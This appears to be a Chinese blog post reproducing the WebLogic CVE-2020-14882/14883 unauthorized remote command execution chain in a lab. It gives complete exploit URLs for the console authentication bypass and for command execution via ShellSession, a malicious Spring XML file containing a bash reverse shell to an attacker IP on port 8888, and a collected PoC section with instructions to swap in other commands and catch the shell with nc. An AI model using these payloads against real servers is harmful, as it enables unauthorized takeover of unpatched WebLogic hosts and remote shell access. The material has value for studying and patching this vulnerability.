当前位置: 首页 > news >正文

Weblogic未授权远程命令执行漏洞复现

1 漏洞简介

Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

2 环境搭建

本次实验用到三个虚拟机

攻击机:Kali       ip:192.168.222.131

环境机:Ubantu     ip:192.168.222.128

Xml挂载:windows 7  ip:192.168.222.130(这个好像网上也有自己用起一个也行)

  Ubantu  Vulhub

Docker启动

3 影响版本

10.3.6.0.0,

12.1.3.0.0,

12.2.1.3.0,

12.2.1.4.0,

14.1.1.0.0

4 漏洞复现

访问:

1

http://192.168.222.128:7001/console/css/%252e%252e%252fconsole.portal

 

未授权复现完成。

远程命令执行:

1

http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

1

touch /tmp/success1    //替换其他命令<br><br>

反弹shell

 这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10版本并不存在com.tangosol.coherence.mvel2.sh.ShellSession类,使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类时,需要构造一个恶意的xml文件。

rec.xml

1

2

3

4

5

6

7

8

9

10

11

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">

<constructor-arg>

<list>

<value>-c</value>

<value>/bin/bash</value>

<value><![CDATA[bash -i >& /dev/tcp/192.168.222.131/8888 0>&1]]></value>

</list>

</constructor-arg>

</bean>

</beans>

Poc:

1

http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.222.130/rce.xml")

Rce.xml文件下载:http://192.168.222.130/rce.xml  (windows 7 自己起的)

如果用到弹shell需要自己替换一下xml弹shell命令

访问抓包

然后用kali  nc监听8888

在将获取的数据包repeater重放

Poc整理:

反弹shell :

1

http://ip+端口/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://*.*.*.*/evil.xml")

需要xxx.xml文件。修改文件内的命令

未授权:

1

http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal

命令执行:

1

http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

这里执行的

touch%20/tmp/success1

相关文章:

  • string(1):
  • 基于pycatia的CATIA装配体STP批量导出技术解析与优化指南
  • 分治-快速排序系列一>快速排序
  • VMWare:解决Linux虚拟机找不到共享文件夹
  • Java单元测试、Junit、断言、单元测试常见注解、单元测试Maven依赖范围、Maven常见问题解决方法
  • ubuntu高并发内核参数调优 - (压测客户端调优)
  • 【面试场景题-Redis中String类型和map类型的区别】
  • 蓝桥杯练习day2:执行操作后的变化量
  • 如何判断 MSF 的 Payload 是 Staged 还是 Stageless(含 Meterpreter 与普通 Shell 对比)
  • MySQL:数据库基础
  • 解决虚拟机网络问题
  • 【论文笔记】VGGT-从2D感知3D:pose估计+稠密重建+点跟踪
  • 爬虫基础之爬取猫眼Top100 可视化
  • 程序化广告行业(29/89):人群策略在广告投放中的应用
  • 法兰克仿真软件FANUC CNC Guide v25.0 安装教程及中文设置
  • 【FastGPT】利用知识库创建AI智能助手
  • 【java】反射
  • SAP S/4 HANA 升级带来的 3个黄金周期
  • PointVLA:将 3D 世界注入视觉-语言-动作模型
  • 怎么用LoRA的低秩结构近似Fisher矩阵
  • 长三角议事厅| AI作曲时代:长三角如何奏响数字音乐乐章
  • 西湖大学2025年上海市综合评价招生简章发布
  • 乌副总理:乌美签署矿产协议
  • 2025五一档新片电影总票房破亿
  • 被算法重塑的世界,人与技术如何和谐共处
  • 王毅:携手做世界和平与发展事业的中流砥柱